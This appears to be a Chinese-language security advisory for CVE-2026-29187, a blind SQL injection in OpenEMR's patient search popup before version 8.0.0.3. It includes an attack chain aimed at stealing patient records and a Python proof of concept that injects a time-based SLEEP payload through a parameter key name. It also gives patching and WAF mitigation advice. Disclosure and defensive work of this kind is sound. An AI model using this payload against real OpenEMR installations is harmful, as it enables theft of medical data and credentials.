IPBUF安全漏洞报告
English
CVE-2026-29187 CVSS 8.1 高危

CVE-2026-29187 OpenEMR盲注SQL注入漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-29187
漏洞类型
SQL注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

SQL注入OpenEMR盲注Web安全医疗数据

漏洞概述

OpenEMR 是一款免费的开源电子病历和医疗实践管理应用。在 8.0.0.3 版本之前,其患者搜索功能存在盲注 SQL 注入漏洞。经过身份认证的攻击者可以通过操纵 HTTP 参数的键名而非值来执行任意 SQL 命令,从而窃取或篡改数据库敏感信息。官方已在 8.0.0.3 版本中修复此问题。

技术细节

该漏洞源于 OpenEMR 的 `new_search_popup.php` 接口在处理请求时,直接遍历并使用了 HTTP 请求参数的键名进行数据库查询构造,而未对这些键名进行严格的输入验证。与常规 SQL 注入不同,攻击者无需修改参数值,而是通过篡改参数的键名注入恶意 SQL 代码。利用方式通常涉及发送特制的 POST 或 GET 请求,其中参数名包含 SQL 语法(如布尔逻辑或时间延迟函数)。由于是盲注,攻击者无法直接获取回显,需结合布尔盲注或时间盲注技术,通过观察服务器响应时间或状态变化来逐位提取数据库数据。此漏洞需低权限用户认证,增加了攻击的隐蔽性。

攻击链分析

STEP 1
1. 信息收集
确定目标系统运行 OpenEMR,且版本低于 8.0.0.3。
STEP 2
2. 获取凭证
攻击者通过钓鱼或暴力破解获取一个低权限的 OpenEMR 用户账号。
STEP 3
3. 漏洞利用
使用低权限账号登录,向 `/interface/new/new_search_popup.php` 发送特制的 HTTP 请求,在参数键名中注入 SQL 语句(如基于时间的盲注 payload)。
STEP 4
4. 数据窃取
根据服务器的响应时间差,逐个字符提取数据库中的敏感信息(如患者记录、管理员凭据等)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://victim.com/interface/new/new_search_popup.php" # Attacker credentials (Low privilege required) session_cookies = { "PHPSESSID": "attacker_session_id_here" } # The vulnerability is in the parameter KEY, not the value. # We inject a time-based blind SQL payload into the key name. # Payload: ' OR SLEEP(5)-- - malicious_key = "lastname') OR SLEEP(5)-- -" # Construct payload data payload_data = { malicious_key: "dummy_value" } try: print("Sending exploit request...") response = requests.post(target_url, cookies=session_cookies, data=payload_data) # Check if the response time indicates successful execution (e.g., > 5 seconds) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection triggered via parameter key.") else: print("[-] Vulnerability not detected or response too fast.") except Exception as e: print(f"Error: {e}")

影响范围

OpenEMR < 8.0.0.3

防御指南

临时缓解措施
建议立即升级至 8.0.0.3 版本以彻底修复漏洞。若无法立即升级,应在 WAF 层面部署规则,拦截对 `/interface/new/new_search_popup.php` 的请求中包含 SQL 特殊字符(如单引号、注释符)的参数键,并加强针对低权限账户异常数据库查询行为的日志审计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表